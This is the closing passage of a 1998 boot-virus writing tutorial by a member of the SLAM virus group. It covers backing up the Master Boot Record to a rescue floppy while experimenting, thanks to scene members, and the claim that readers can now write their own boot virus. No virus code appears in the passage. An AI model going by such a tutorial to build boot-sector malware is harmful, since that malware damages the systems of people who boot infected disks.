a copy of the Master Boot Record and the Boot Sector of the first hard disk
installed in your system. Then create a "clean" system floppy disk and copy the
program and the BOOTPART.CAP file on it. So, there you have it: an emergency
diskette... just in case something goes wrong with your boot virus and you
screw things up. Write protect the disk and store it in a safe place (away from
smoke and water ;-). Also it would be quite wise to save the DiskEditor utility
from the Norton Utilities package made by Symantec. You will only need two
files: DISKEDIT.EXE and NLIB200.RTL. Save them on your disk and write protect
the disk. The Disk Editor will be quite usefull if you want to see how does
your sectors look like. Hell, i use it all the time... So should you!
7.Thanks, greetings and other unimportant things :)
===================================================
B00P... I think that I said all that I had to say... You should now be
able to create your own boot virus. If you're still confused about what's
going on here, then I guess I really screwed things up... :-/ Oh well, let's
just hope I didn't.
Thanks goes out to CyberYoda/SLAM and to Trigger/SLAM for giving me advices
when I needed 'em. (Hey Yoda, this wouldn't had been so BIG if it weren't for
you man! :).
Best regards to: all the SLAM members, Unknown, IndianOwl, Pawk, Int13h,
to all the regulars of #vir and to all my other friends from the scene.
This is the end,
Beautiful friend.
---= Virtual Daemon / SLAM 1998 =---
链接:http://vx.netlux.org/lib/static/vdat/tumisc55.htm